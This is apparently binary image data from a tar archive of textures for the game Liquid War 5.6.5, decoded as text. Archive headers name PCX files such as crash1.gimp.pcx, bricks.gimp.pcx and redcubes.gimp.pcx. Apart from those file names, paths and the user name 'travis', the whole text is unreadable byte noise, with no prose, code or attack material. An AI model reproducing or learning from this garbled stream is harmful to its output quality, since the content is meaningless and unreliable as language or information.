HD@3 !!! j!5c a3#y?Oj!#e e#!Xq]K U KjJ3 3!U#xiDej#P 3 #cF5cx>ce>cxXdjJ Jx!83ex!!3cxc-r !c!j.>c}fKUs .UT?6:# e jjKjKuU #5c# >j.B'mV!exU!jy# 3e½tr8#`x* Je3!#c3r!#!!5S8 U^t:!Px!tf[a3#!eɻ/UGea se38#c jc!J#jTc3jc[)a!cad3 jeMpx5a8arcaa ncc!#.!!5.nx jJrxfrafV aUr<Uee J3ecxU!Pwj3!½c!bdlZUta8n<)ٽJe nJx8n e! <r!#e>Qͅnx exccLayac@!3 x½U ,aeU3a aUx!8 # !a#eje.j!j!c⸂T# #Q2ecj#U_g”ea3eJ8n!c#c833 hTU3 !-Kc#cBT x3U !' j! EG nUanraMcc!ae!cjr#Jx!e-5 3 > j!3e3.C-ij )as3jcK3 1BU seZ4Ux< U3c3.!!x. - @! 3s #@!K#Bs3U.cBcBdaUa!j j@KaRc!j#5T-5ja #s3 eaj(s.>#c!c5HýBd # c .# Uc.!c<3#cT ! K! 3c3a!x! c!#jxJe#Ux> 8#aUc#cPU!j # e# c!cc#Q'>5>c>#ȏte Uc# #Jxtccc# U3ej! e c!3cj-$>.Pcx x! >554Ma !x<)L#J .!U Ks #e # #!c5Ţ>c!e! ½ ½cQ9Ajxs.!L. `c!s3K .c!exU # !cT2.x!jJ83U !#cc>GexcU#a# )#53 5Hj#ec!r½!j!.n8 Uaer#!5 3! c#15># Denj 3#T#r ! 3cc!c!j"JLa3arc!c!c5c#j#?e!#8Hrj#e#c!.j!cj!ec ̲@neje n##c#!jKac 3# #|:&j!e# x r3# s?`tMae !P P #r#cH# 3UjQ$aJn]8j j3j U!#c# T!a∊t3eJ!-5½xUT#x!!a -kGiJe#ec#c.-#3U9"*aJDaxx½!x!Ue!c.P›!3 #% U !e.#3cxcek|:3Jxc`U`e3erUPe#e3!c!P~N e!! ej!ex.JUm\i.5-!U3t3U# er!cH#T# ½c U-[ejr3rec !&nİ eascjUaU3#À !cj# !Uc! c!cҲI=DJr#3# c !LJ_LJ!ax J#3ar3#j5je!Uxps!3 T#! B9Z8a8e) jRI)nw,a3c a lV<~`V$l5x,j'46.$ВL~0j)v.@ RD@4ҊBv4T.$W.ߊ=\ nB j%nRx)ͅW߆9r22U:$wDr) v,] f4ޒ>E'^,~=wDp9"ʎLa$j'F.$:$b. j/w,tN(j&,'jL؆;8ފLߚTy=fAe# ц@hN0b%N"ي3ߒP~<1/؁=r4x==e=vQb$\&n>Ir+r/J6 sI bFT6!D zD>z6 n@r5x5`n(?8.z1cE)^6?@z.f6k6f9ً@5"r<ښ\߂2n.z6y6fA،Ln-?*Q,, L~TP$ْAn)NPBtP^*N bH, F$vJ,xZP~jL^,J$>~2j!~L>XJ@f'J$Fr>,h*A0x3d&xDP(f,jLnLZ><`@eQGf\Y$\0X6wC!n4FD#5'9yPm=nL. Ќ`c;'L8.R7r)r6m8҂LZ<$D^$N1"j0R&f'=6jF,e.|9 ؓMR4@00yAb7F(b6,0" v\nT~3^$jL&ҌNzR,c<Ҁ>j>]$F$P(2 j>$ 2 Z/ю?U2ߎApF(n(ޖDb,߂>H2&d2n1n@ߎNޞ\jRz1-*}r]Hgi|Q!!pd" lu6r~9C90!p4b"K`ME iQ9^=Xpv"dK_)M?{iRCiC[;KpDpP`)gjQROfi(C!P%Idƴ2Pěc/i?^f(9^9O90ILp"P{^9O!O((09!%pI;BDpK^9O!(9O909=CGƧB"bbb;pw(9(99(O9^![B'BsDBvd9(O=~99^[.++@nvDd#OC~9iO(![+ nbnڴ;9(CO9O9^0(  +s"dd(0m(9C90C[˚DnbD0 Ci0i~~(~i!؊BLbB".'"b@n9C ~O9^0 w,Iç;pB9!{O9O9O0C!F3PpXB"̰=9C09^9^O?~/cz>`ƸBn̺n~m#(09m~Rg1)A)PS2 9=(9~O?UHA)1S,;B0O(^{OR|UjlkPbOCQf9/ɕ766)u>e@R{i?jVMug)P%pQ/jY8y\EM51÷Q/|UarVZ Wyr޵Ml3RH*W\WW\WrM1 4.v|?gX%OA@`8%Tdu""D>[oEVt`@r4ge+@Z;5VAOibtiP@jUMtx3TMj$`P5b3LN{"Nt,XT>xH$Tq'As4x?HdG4\dNPGlT!5o@7?VgkOOq9-V\ZaLu,pDwdFf4uT!-D] :~gF:[>j|(Tx.5nrZ2d[mH@g9%hs ,k#?|=G>JWHrX?iJ}zNQ@%V :hP:eG,Z 4{rn98q]5Mc[ZA4?xqKZ"-e:RxO[rJjf.WF5o@~kAp/4PO$:qeRxr:| $^Q-_ad~ 4f̒\n􆺬`x8Drt6Z\R)]>DUl)LB}Y|6Lh`B^GPP/#K2\HYsnj2.L/,e<}UbFlFblCViF|[SVy&Fq{*FL:^rZ|7L"M%SFlaFmd<:Xo3FYgbb\0:r^:jSV\5FD1:YL{Rh[rM|-m@dj\zsvReN\bntG^oJQo -T >2<|IFdm^WOt@+VGI|1DFE:s~Lv4ii^Lvp{Mp,LtGm|}-?x \LBR,L,U[ \A@y &`OHH?vT&ZJb|liquidwar-5.6.5/data/texture/crash1.gimp.pcx0000664000372000037200000001231213407756104020401 0ustar travistravis ??,,@  !"#$%$&'()*+,-./0+1)"2345!678 9:;<=>?@> ABCDEFGHIJKLM0!*)N#OP%$OQR*ST8UV8WX7+Y0Z[\]^_: `a.bc>a?aEGd:V8 X5)RQN*SfeA9^/[%¢Ė1Tsá_I Amt?ou X!Qh3!Z? G9_G >T}¤¹{A_I s>uY!zN{%7uA^_dn5'j}}-Cdr® 9J:v>n[XzRk¿}hQ/LpJv0zh}O+0> w _G eURiP'4,n9pCDvoz#kþ%yCdđm=@y-,)$j{O&$&Q("l0eswp];?0"%ù$2[c DF :UXhk3XUaC]Jxs;v?bVW€+zN(14Us;V0hh#2,[b x9^I:]Kma.VZX+lS5"R#QR"+ZevCmb8,1{P#"zyaBEqrJE@uT7Z8X51N#Q&P{&Tb o87)hŽ%N)4[=A:J ‚wJ ]ssža6&h$(zSѼh1< Ã_r9] =@/U[Z8\aFrJ>,1Q$Wѿo<‚q‰ a\UZ- f\;F@S1O-7h͖jy FqIJxHJdF `L>?@b\u8[-8on"(R)T8(˱ E AKCBAL= @/[W7 omve05")S-Ǎz?^^wsBvLe>tt=L`B]dw<>nT+3z+ bay,4"1g,ڹh F =ea@Mb.\.@?>B9CoS2#&ijk&2V.6z5|*epB<t@bo.yuVn/@e J7ýY\VT!5l5hżRuDaMbo/nVuVuUuy/@Lp S۽~SnbUX!lQ(-vs @o/nVU8UnoM>LBxU'}N\af,Sg)%&zVBD<=?Mb/yUf[-[8fV/c> x~۽$*WU-TX!g5Y>xx;ao/yUf[ W Z8unb?pEfOÿ}%3/ <=y8[Va Fe@b/yuZ W [fyoc=vCBe~ƽj$(25ytA>acept=>e@M.yfUV\o@<&Ǿ$P&Q'#*,.=vEdHG <;9_B L t>Mc@=au3Ř&T4*5SVc Dx^F; Fx`m<s KBAm=>?a/&~b.74!aL d pFd9G m<;FxGpCv`L?ug͏7< y!z)3!f;r_µ_JdJIG m;H9dpKy4}0p J T3R&NVJ 99GDAvE_ s-ҢYdFb+Qk|Q. 9qw:D`m` _©º ;y71sZ)%lcDdw  : m`s:D Z"~']>hhtHJx q9dKA``vK H:Dv=.-(~rd]DM*͹hY<đBC]GJwd s Kd rJbXQ~ˍT v <!{\v/n\.obMa`BEˆD?W*&}NJI Amv 4k\J :K?oVUV\.?= E oSinLCe3Ѧ[J K`Mo/.oMet`Bv2%޹OM9; F ` §"ʤ3vI§p 9rW(PϫztwI:s; H=*ʹ$\ J:J ÂE?Y{}иl wdFECAvA:jʽ~lA_EB ;Dp x:>[)$~ܼ*B:sKBAvAsHq;-#×Q`\u8W2#h~Pd§]D; <KF9_ a5|ë"\JsVT!)R%¾ōXs:sKv`< Dµ[Nh*o:Z"Ok½Ź¹R= C v`m>>@@@<<<;;;:::777666999333111000///888,,,)))(((444$$$###&&&"""'''%%%+++***222555---!!!...   liquidwar-5.6.5/data/texture/pine.gimp.pcx0000664000372000037200000001007713407756104020161 0ustar travistravis ?7,,@                                                                                                                    f3f3Lf3T3̙fwwwfliquidwar-5.6.5/data/texture/bricks.gimp.pcx0000664000372000037200000002631713407756104020507 0ustar travistravis __,,`1 1jp},p`HIH2c{IcRLeeL-3R3n3ncDBHceLeDDy=3X3LH`H23`suL-h|ax VHxH{Y2B-usD-L3-R3n3L]9LD@X˥3=ΘuLDSSa[W8Z$|hE`2LRDs]̡`n˭ΥBH-9BVQe3mzIH,VmBu-uD/[8[4aS12˔RA쮈sL~5fmzHPpG2B2$&ȥLe sHzH$Z"BQB`,H=ec-L]]Le3Ovv ՉN H9-!Xsm>&ѤQZ$}1z}a&$Zpd!CHW$Em2xѰ޳3R-]RL¥΀3[J SlJvNShB!9I2H2RW.{aYhF4aW$z 1 a$H3m D2 zW 2,,T9H3cL-R-A2*mMJt ' v,m!yBmH8thY84 Z48,L%6,HWWa1h1Zz9Hc`DH25Yz 'JllٷWdo?hfH,:8zia|Wj $ |W NW,?*|WW$ H$H2óB9B3H2mRGmSaN[Jl<Ӧ%.Qya$|fF^;|z htZaa1MNW}z%ȭhWM| $W|,$ 9HHR`H-$H$zZ1}8JMvӷ/ 8:~6|aZWh4fhjEzj,hW8NW2,m.\V4M hzZh& ,B,VΥɥ5fh1h|1aaJ¹7.o.6tEhzh}Zh|z|$WWM,H? zhz1h$jz,j2,IH3~IcI2m1jWh | J o?0\o% o:d:.o%o.%o.\% 9c:w:{pj$f$z`zPP$8W{Y }taJ[..gI?%o.!?!.%C.o%..o.?o.?*FYxY,m6QPG.G{YPiqtp?0?....%o.?o.!??!Ubȶܚp`HI5:.po?ϪϪgo.?.Q~*ogo.%o.o???㟌!\.o0 0 oCCC?oªg?!Co.o.g..bG*~cG.o~bCŸㄼ㗍»AI*Irrr%o.?Cgoggogb*ccbccGbQGGQc*GeDeDeDᯀsec`6s6­n=DeeIeI*rɍ-cQ`I6Qc`cpccreDeeccsVy@TsVy9nTe9`3`D€`-¯DeD6`p`Dxe36z6V6cceD-@Dyx36}6#H##=3=2,6V#33ccœDV}{}Q{%oHH6#T,Hp}V3mB3yy#Ep,zZ6|&2HV#9˳Z,V9`IH9ZPQHVxf$9==B=B,2`R3=39H2|HW ޶f _jEhxh h2 H W_zH>bQ39ɼH2BBVIV3L3n9]n92VB eD,21jhWfZzZF$ZjW|Wa4if1a|aZ|4$jWz|z:oc9B9=T#2===9""9HB=#,1Mh1jhEh W 1ESS$a11SzM1W|z.cH#,99=jTy6m#==]="]9n=BV#9"L.=#,hE Eޫ$ |Z,|j1W1a z1,FMWMWhWE篡#9B##"T#VyT3=9"=˜K]=VH9R?rTh,  jEhxhhH _ 1 _hM 1E1S_, _z ^ªg*e##=̈T"#B"#y`H9=9˥9p2,2\.g`EjE  z hj EMW|ZjW| Zzj| _Zh1,Z2Ho.e9="=B33BRB,99B2HIIhZ22{=jhzjE,jMH1f4Z1jEhzh|aj $z zS#jZzH`.-]="92BγH2R9H9RHBLmY42.oɽ jEMh,z $ Ehz1| |,$Zz1$B,jj$H2o-]B˰2HB,B3mT¥B9¥9BH,54|&,%o.kZMS1j1S,z j|jW,h ,hz,99x,H2HQo*L2T929Bm,HH#,2Z,HB9BHmHB2}Zz4HokTh1SajW,W|,j| #HVHm$,,H9,$2#B`..e]Z,#BBB,BHB92,#B,2fza|*.k_M_ jh z z jm$F8VzHB,B,B|9Ie &,Z,B,2B9,B³x#,2m6`d2,c,M1M h2,Z$z2h,z ,$2m2H92B29H\.?nZ$H,z2,,9B2B,~2Hz|Z3*kE_/__Wj|zh$hZz ,f1V}VBBHeg?j1z j h jSVx{`x$Q,2`TkE/S, h2|p4z|aH$ 2$H,p,³mcDKhzZz4h hW,_jV`p,2HhBZ|,.T_1EHz2}zZzhEzZ|w,HHQBY.DjaZfW4h|M,Ex,zz}Hp{&|H2?o#jJhWzWm,I$z$Ej2Hh HmwxZ޴cW1zWEhz jjz68H,H!.?Vh J1a x}8mH |2B,HZB,mz,2`o­wZZ$h1|2Eh hzhzhHްHffro.gB",[JW|4E,2,2,˻mHm2Z z4zj2%e]Ŷ8[Y8,|,Hj³,j9 za,H$ZaF$Hb..,XZM1M hz,mH3BBH`m2Zph92>܄?q{Wh9j,h_1ah}}h|&p#4|S M z_H,mZmH=9HZH9xh|Z,BICLs4 z|1zEk#x,tx xYFI{q2z$.} SW_jhahz1$4Z, z,,h ޳|Z$,HzZHB=* ?.xh1YW4 WjW|ZjExjwjF ZPP8a$pQb.g6SjEjz|Wz|,z}|j W}hzW j1 1jE 2HΫ,9H`CoAwEw_P8z1m| 9h9,f Gϭ#z1_ h|,hZh F1P 1Whzh|,2-Io?L{HzV{}6#,BH92&0!mb~o.yH jjh}z Ѷp{pdF7F;4fZtjx1x,2H,0CU6~*6V,HTH5 !\C*g.ogpyH hp&:P;qd8a$z ,HH*g.!!-H.!..%?Œ.ooo~s\F&&b¤bb$}mpHm>0?gAcU!?!!.o?.???.?.RQc~*QY}~om5FU .g.rL=eL¥DccIe`bg.!o?Ie=T]"6.ggogg?%! .?%!%?.o.%.rye=sD`cIc`.oo럍eIc6@T=9}$.?o.9ssTU?0mVs=˩H2#`}VHP$xV`­6V6c»`Ptk2{w8cIesXy=XK@]n##y9VD6eI3}丽½}$z},}{Et} }tzjh HPYY^.&kwExQHo*L#n]=9s=s#=9#"H"B6T=#H h$z aSW1_J1hWjE hz:;+ + _1tZ$- K`BB9993n9n#=V9=BT9B9#9=1j S1S NMMtv NSJSշMNfFaq[tM/M4UeseHBH9H˫99#9dz="nH#Nj SJ4a|MSM™NJJ%!C. :C%??o%.o.ogogog..g ...o.o%:.Ϫ.oo..3n@o.?o.?o? ?g.o.?%goo..gogp~PY~o%.oog.o.o.ך.V-L߀Ln o!o!%oC??o!Co.ܣ`y*p6eLsD3y3`,`D*.o.%? \?%%o%.e3@@DseecRU*RebcDLU!s3yXD6Vy6T6VL]u-nn##=Xs=yX]@yu=@yyDssuD-]®s¡@suœ]uLes |jT?.s_G|aI ȜaK{B/3ҼkwnTܸ]O?+ |dj`GɬpUH0&|vưiA-~P6$ǣѸhR,lO' ǾG'ԫhQlQS^@/}_G,wtI8ɬhS{e$ x{RNmXX|aԬȥйhvZvmaEv:,Z(e9"6'"BXAV |H1k[8& =.9Ÿpdμqdt@$fVDG"&ήv^=b:@ڲ-/I05YHDN88I('P7aVZHvZ,ʲvhʲvZ@6@bLig̖vg٦γϝ㸟eOA|g[F$}YQ=!!jIJh^A).¤vXӲ|`Z|yRDɷӶtP;|# guWCǕwԴtI.4Բvive~U@@t`XvvhB@$Ȱ^@?X97P0&}vǮ3殜`H/ФQ8'P(sQM3tX[ɸХ5 &P/9`IDliquidwar-5.6.5/data/texture/amethyst.gimp.pcx0000664000372000037200000001362713407756104021070 0ustar travistravis ??,,@عЬ=ŌaN> Hùm/joܼ·-CjԹڹo`ĝڷS [=ՏSYeĪ͜Xͳt`˙ԳȽtڎľ=$QQ=˜=L>S= ›-F˹>S= ڈKC-Į·S¯z=Sz¡z~WĈ‡XQoWj‡]Hӡ4鏠=S=S3t˸ˮWJ*-ڳoXXO䋐mi-`jm˷¹醜S zQS`m-ĦJԲZ``oS o9C>j wt-tSEL 3³ښͷ`>)@ԈчV˲`tSoswt `йo&o)³otڎH³-j Hm#ttoĥ؈㸪IJmڝ³ o`¹¬i`4t`¶歳>-г`>oXSSɮyVr-جš³㛙W4w->jwmCв&o ESt`tsy4θC`toBoԳY`-`U3o֭KȈ]-S叜o㈭LK4IJ-j->`ԥmͬoY4C-``XSLS†SĿsW!℗³Ѹ<ƅo؛VKI LULPخsK~ș@oL@`i/C`㳛-j˥ $$X@3LQܖo@-Ki¥IJą¼3E=v3wڳoS LX[ Ltt@@tzޘ3ڝ@ùԹ@ZˮyK` ܆þ`CUo $' KL>ڙ-@ԝ`ԗ¥ۇmi- S =o3om`tSܼNk C˥~-@-j/螽m*踄~Y$ o¬`֡ 'ũL>m˙@>޳j7pisLXϏo"C`ڳ vkz4Lo@*~i>UoH殰6qoŸ[ >CK˲USƟ¹ԥeCԷL 3㈣C~-c@@X[LXi]Co(o`HF3o S4C²3 L kSX3tj* m𳛳IUˆjoLXIo懦ك/`zokL>JjyOɽ];<~¹³<`XU>˦̸4-☆Eo S¬)ڳ@@ݨ/Ĉ ͬ-CjL²KYٽC2.3m@²ڹj*jwtoͬ`߰˥-o$w4 4YY ى ƅŸƄ(2̸螄Yq (uqWW¦uqMLXm4~y^.Y8Kyи]W‹}1ChtHCxK_h]oLSoS i4]C %߄țK?}]ٽK hK{Hd劑4o ͆SU-Kˇ"WYM4]Hx]4:V ˲h`HrHwdf3v54@ o=ojmKVKكcЃ"xrЎs8dh:xht&&fsԬm HCHHKƃڽ1pHr )GKK]hHrhf#m`oSt-Iiΰmm⮸]H] G#\HrªHVd`·"ESi½(YY¸˃^]½ѮЃ h&&f``4&8tE˃¿"^ⅇ`C]V?ĥwڷ&ӹHo0 )˒F3 >(ZCθrڷ3)ڲfvزгj =o烈ȽC< y-пɃH腖MCH)oo o3X `C°ԆF<KK-¸KH{4 = –3 3韾Yj`]CXLUmyiZVCɇimcC^XSN[عSLԷS3o)ĥY˲W/LU@mLM †=o*ętȽ4.^[L@K~mW.^WKwooiLES*-Ğ.u=om-jtK C`t·oS‡to Lݙ-Գ``-4m¬ tˇm`ڹS͟V迈dt $XF~uC3 SES`ms->`i `S œ†toK-o X tU-L ͆=ZڳoSo͟L¬ЈKs ͹ ji` o 3= ˇmгo SLt L`²0k Cto  ¾@oS K֛S 3)- [$ m<-SS=Lt->3tH`L S X鷹ԲVȿ^ 0[XV)o¹o = ԛ o oiمKԷot  ͳڹm4]$ϼSj+¹ؾtoUo X$o oĨMV3X XXLLS3t~Ce]^E>jC-tU㷬S= ÆQ ־XSLLo4⇽"Ҿj)Ԛ冾t ƃW^s„s4(YW!θƒBѐyy4ƿW >"4vn|VJ\j^dJ6DbVdNBLzzblnftB.Lnf|R>LzbFTF6LZFL>*&4zrtnblJ:DbVlnR\nZdZB\bRlrblR>T~F*DJ:L~r|vjt~rN:Lvj|jZl~V6TN2LV:Lzr>"TzZFTv^N\B2DfRlJ2D~n|VBTzj|R:DvftjZd>&L~rN:TB*7 /(O < OF(T/9/W*9J/( < << < OFTW/T(T(T(FO < < < < O < FT/9/(FFO < O OO < FTWT(O OO < OF(T(FOFTF < < < << F(T/T(FOFO <<<7V/TF OF(TFO(7C^S?'B4+7Q9/T(FO < O OFT(FFJ4?R1Y&?0U7J/(O O O OFT/T(OT/,U?#- -L:U7,9(O O OF(/J/T(F(JM ?LNPN#0UJ/(FOF OF9/T(T/9S3G!&'9(FFO O(TJ9TW*718GP!D'4\7,9/TFFFO (TWJ//J97 L2H8LQV9T(FT(FO(T/99//JU^1Y1B$9J/T(T(T(FOFTW/T/9,U0'47JJ//T(FO OF(T/9 7 *W/WJ99J9J9/T(OFF(T/J99/T/JV,,J/T( OOOF(TW/T(TWJA7KV9/(FO O OF(T(FFT/9,K4 +J/TFO< OFOOF(J9Q ';  JWTFO < < OFO O (/ B'S'+9/T(F << O < < OF974':?E9JT( << O <<<($RR',/T(FO < < FT?RR>/TFO << (7?I !-& QJ(O <<<<<< V2@@=.U/(O<<<< TJ+:85[ z64BZ"$"NDJ2 n.,B<6 ZLNFf&$VVDJ<> >4J*Bb"$R:v242 F<:bT >><. b&$R~64B^"$ND6 RFj&,V$VLJD><* Bz242FDRL: j*,Z$F6& N$r.4BD^T>b&,R$liquidwar-5.6.5/data/texture/poolbottom.gimp.pcx0000664000372000037200000000552313407756104021424 0ustar travistravis ,,,,-\B^N^B^\fNfC\1PL?"3CfNC 1[3?CfOB^^OeLTa$YTSB_Bf(Nf@1ON(L?dI1Y8O%0dFV@^\f\C7OfNT^_+^N e7C X\BV7LR3%R@N1d77f?\C8\^B^B+TN^(1OC@S\( LC`']O01(O$\^$CfCf^*Nf^^N\@NLC?F?C(OV?V1V8fB^_BC@C43Cf1B@T\F 8TNCfd7fLXa^>5.R%C\13Xf+B$b*_\fO83_^_N8" TN\e[L1C[L?OB_L1BTeCf1C^_T6B^5e\N^B? f_NfNf[O@N_BNd(COdFX\T(_^NXIN^$\HB^?XN_+EB_^(7\__+R0#^fBOXf\NB+_*B[? NB_E_#+O*S_+#K71;FNC\CN@e+^fN_^f+B_5MELS_c0HJ5Og^Nf^N(F4 $G\@6fCfC[fT@_J5EM^fEXL[7CB^T\^NT0IGT\17?V78O5,M5_TE5,EN*8F\^N^T6*_NLIG^_^^V?^_JB+5M5_+NL^BNTS_^6O_MfN+M5E_,_f *M>,_^_BN_ 7dX\^+VC^_C,M>M[VT_/M>V5>5B^T5_(_XC<AIe4N"QTB_5N/>MJ(9#B>M^N_B^T@5>N^N7N*C[CO49Xd-1*_,+M>/5Of>>5>,_T7?NM^^\fB+B1f\(O^_EM>M_M>M5>M/O^MCO@C^_BfCeV6>5QRN>M_M>MET@N\?>5&/eO\f@*NC?L 9B+,^A=X^B>_O^EM5$ ^65+E5N(VOfCT^NeCB8"c1O(_X_5CL4: @EN^1\f+5+^OLV^5N [Nf7LNLf^5>E_^_X*O \C Nf_C?PfCf_BO8@OXe ^N^,5E5^N^+V%L17O5+^@fCB^$@NNB^XNM/_,E_5EN$O@5>ME=0fE5EBf\O8L8Oa^5M>E(>M+^MONM5+*]"1[@^_B^C7 eU=ACE/>5/>BO>E_ESE_@f(@$XP". 078(@N\`78+,M5>,M>M>M6O@^N\+B\BC=`DLC@1f@$N+_BM/ ,M>>N\TN^BS TB^"K!)C O B^\L[1Xf+M>&5+f5>55>+(S+BV0)#U[(X _E_fBNfeC[X (R?N>5_N]CURI^*?1f1ef^+_+_fPN_.1U#KGB_,^f"0=2\_E+^efC?O(f+N@I0)^_/G +B^? \@*f[3NB5B^BO1fOfTBC?1R031U)_L3^B5+O1 _+B\(.S_/_+B\OfOO(8Cf"0.[: )^V^H^NBEN\f$fB\@JM_^f\d[?LX \1H["O1fC_>M>\8?[L?S^LO^O3 0aNT^fd"C 1+NB,>5+OQU0XR_J ].^ONO[@^_B_+^8?F?^O^\fC1XVef3UX5J+ 3S@7CVO(_*TB,VN?e^,_^T\[f5J5,_^3O1ORL\TB6?XN_O(N+^3?^E+_N8LG+_5_J+0]0U2#:@+O^*Ye8^B^B_BL7^B>E1#J,H/J5Sg28O;Z(Bf8[78OX^B@Nf^f_5>5dO S_IV^+1W-N.OC OA"O19\OL7A<.O,5M>MOeB_`R?U09^_TN97@f(? )R(^T1?Q'Q[F+>5>_@N,_B S(3 N@N ?C7Cf@NOK'_5,5^ O=O5f1OB5+5^ bzrԎjzf䊦zrĊ̖j~Ԇb~nzrzԒ̎nr̚nz̦܂Ğz̖bzvnjf~vfz~Ģ܊̆f~n~v~ĒܚԆ̢bzrĖjzĎfzrĂj~܆b~nzĆԒԎnrĖ~̦䂚~̚܆vĚnjvĒܢ䊢~vĢliquidwar-5.6.5/data/texture/redcubes.gimp.pcx0000664000372000037200000001231213407756104021014 0ustar travistravis ??,,@Q¼50bg' £ r'_)~p 'M' s0QQ2#5r;ue?Q"c0U r sr' r)Q_s'r r s '%KQ"cU jQ-U;dr! osM1wsrsrM '*ͷQ̼Q)IwQ¼)yvs!`Ms 1 Q rs;צ)QA1G"j !|\b' QQQCwVxr' 'A)QErsAVQQQU"X!'K/1 j)QQ_,msOMR)Q|o sMr6}QQ}'SQ| -j)QQ}u{EzAKC~hA'Ms£ sr' ;|ÀQm`1U5G)sr'MsI~L>L srMs s' M'smr`%qPjQ)A r'sAm)Q uz+-FWAM'  s' M<JaQ)Q) srsrs0s;Aj[RӯL> sr'r%`\r] }Qü)n1AOr'r rs ;ی1L5"mn6-+ yxr'r3Y brc_QV r'r s s sM\!"֣xL>s `\r*H'M Q0p,sMrs s sr'o\3`~0s !-L`  sAL7x s sr'\3%`rK0)r'rۀ L@g*` ' x)7->lcƣ s r'%r\`FQsr xm*.3`(  r)L1f>|rrs'M¸rs`].-Q s|sr%gMJr s'sr1jQ'5s|L_>4|s `%^Y *%^\dQ¸rT! s'srMr1Qn-r 0Oc>- \*M%rdQk\r I' `|rs 'g )AM o smL(Mg^YMrMQ)N'oB!M's 'QA'U' x *3GTr*J%g'rs'rKwQ)˜G1|s|ͷr s 'MAQA/5sr]@,o\rs's' rQ)I"{mߌxv s srgj)QA|+5'^9 Q"q(' sr TODXc"\rrs sAQQAo%vwĭ 0!(' s  r|Uw8s(s_c7(sr׀I)j sU|3œj)[X'Mr'r`r|(oXQO'O7 sOAQQ{B\+xr`! U|rQjLu|'r!'*os8))}Vxo|&;eQjc0r # `x!`grU|(sD)"Q)u &!B,)̼?QI/gM Q+|;'Ms£r|M'sx ')q)}LԀ6jQQ) r'  rMr'g*(ro ' rf,QQps#wGQeQ1:Qr £ 'grt)} s M( o`-Q)'F))jַ)A s ӨL ,)Qw('rxsg'LC) 'orWy[+- ֥j s'r ®I"Q)r\m!&>E)Xd-Q)q r sg3a00%.^{  sr'rs|x6L )6x!pQ<].oQ s'`@ ŷQ~ srmۣcc})8Q^.`\>Yr3H%rg e~ s; y' sw">j]Zgr¤R40M`^`r'r Q+;srs f' r|8-Imߩ\ r|Qrg3^%`r sr6Q+srrs;|s'; ;sA!*]. r' sݬ)B<*r o';6Q[ ;sOr R r;r'rs Yb%<3*`\s rs |)0r(ͷr sr rs6Q+ £ r|ms Mrsrsr `'Y\rs ' s sA);r'!s s r \r rseQmsrs |yRm /s r'd`rs os rO sQAs!`s r`r!(s QFF ;0 Ӯss'; sr!s& ' s'rs |Q'(r'(| ?wcz0Rsrsr/Ϊ|(rs s r'rƾQ)A|d`oxm|sr |uGQ))E!zs s rs !r |sr Q o3r(( mwļQE)/n5UOM o (r ssx-j)۲ 0'U|'M(~)Q*&2QQ:;|rs s  r sh+)QQ%F ;u jQQw@ru)j)>1!O'(s'Msn>QjVjNo*(uwjQj|^1q_t01 sr!&'KV,)Q;f*mc"QQjޫ,եo)˜)=5|(r!xvQQj `")QQao 5)"Ig j)qQ),srQ,Qj$B:Q)j>%rv0g)sVQ) Qx>jQ,")j-5A<*hQ;rg*%JjQsVG)?),Q)p;r' AṬQjQ¼Qăh;' Q)}*^(" ;os|{E"jQQwOs r/1)Q_ǹy8}Q\*3M'jQ|'( ߜY02Q)ѣr sr_хpA|fL¹-{>rsi<%r |jQ|s Mg0Kg0IQÀ 'Ms s  s7R'gMOx;'\rs |Qsr3' r*T)+A srr r'gr R s |f ] r's s Q%Y\g*xQ r' r'Mr'r7|  r'sr\%` r s)%`r`YJ%+ r r s s'rsUrr'r osr\ͫgM rMrAu) r ^rw[;r rO srs srs' r r' |(`Y srMrs Xj%H^bMr\s6Q+ s srs s sr s|AXrx r'r £ r(Y r s/ rs+"]3rMrs s Q+ s rs ;sss{1 s' £r's(Y r r srs sp|%rsrs r 6Q+ s sr srs'Ol gMrMg |s`\ srosrA R r  s s-Q+ s rs;s sO!6" h1r ^r|(`rs r'r -j"f srM'r s ; + sr sr s1)w`5LT(Y\ 5-") Mgsrs;-Q+s srs ;sr xQ)"]9{Q `r r["Q¼)dsrs /s ; + s r rsssؒjથ)s`Yrs v u;<Y"'Y$r"$;  v W"Kf* hh0uM= X j  |_ { 'f" bL   " h/ s E`"$h LR `nRE '` ^|u&("/Rn w' }""Wtn i6KD N""5 z}"!"6\?$Q$2$ LZ>?6K) [%)K0F 7K Z+LZLL+Z;6K26$2$D 02$0:AQ 62 A[AQ71Q$0D22$F$F?6 Z K$K 0) K26$D0D" Q0$D0D$0$6KK KK>6K0%_ 6CK6>Q)K0%^,J44^1*47A0$0 0D2FTAT%T1J1E D)$2$)6)K A3R-^7 ^ 2? ?$0,6> >K L 6K$"F20DF2;ZIZ0V *7QD$)K>7"7"$F 2$D$) $H " 4"02LBL KF M4* A#*11A7Q "Q "A4^EJ%C+P!Z<&#*-*- D$K Z;2K)$))$F$B!P D#O& #%C,%CA 06>Z+9ZD:T'C%ATD$) -8O@^ ;K 6 6017" $)$ T# NA^J7 $QDA4T$6BV8& &3@4)6L9IBP ZL ;Z 2LB/$0^T"$ 7QA7 M^,J*ETJ4^417- ]RT%)FD:T )0$6ZLZ ; 5_$)C% % 0 A %0%:T:T,^A T26K2) K +BPPI++Z;5H0D$)$0" ,A0 25Z0$$ 0ZBZ6)2)$0C%0K$)5256 Z0A4T7 %C)$)0 X$ T)0$D "Q^AC% % T 0CTD)C) 2$0D0AA0 $C% AQ0C$0 0AT:TJ^TAT )D)01,4A%,VEA0%T:NVNVENN Z Z D02)T )52X$0)2520:TT 'A CD0FDAAJF@3 &EN^BB %J,A $QA[J[^N8 E0)D A 62;TN(O(#-[ DQA%C%VT06 I9PI )%A%: T 8(O(D6BB;F0)$FH2526; 6K$A-#-* #R8#^>9!P$^EE0 Q $ " "41A[Y 2K AF ?D 7A^[=#J626K22$ 0 JE4TA262K2$%0 0C)$D7A1*44*40K$ $K>KF$2F;2: 2K6LZ L KK6K)$D0$  0 62)) )2S$K`;  6KK$K62$0%F"A"DAA 022)0DAT $K0 0$K$F2K62K LILBZ6 22 ")02 AD$K`Z 26?SS?H6LIL$$D$`K\ )$)$ P 6$ 7" D0 6L6>>K L2K2?$D7^ F&v2vBZ6B:^.j6Jv:N.n>Br6~:Bj2Jb6>j:R*F>f.V.~6~>BNb:N*^2F*v6Bn6v>FFJn:>V2~B:JR2r::f6F>f:b2z6FJ&zB^6B:b.j6$Jz:R.r>r6Bn2Jj:$V*>f2Z.6FNJ*v6Bn6$z>FFJn:$>Z2:f6$F>f:$b2$liquidwar-5.6.5/data/texture/electricblue.gimp.pcx0000664000372000037200000001034113407756104021662 0ustar travistravis 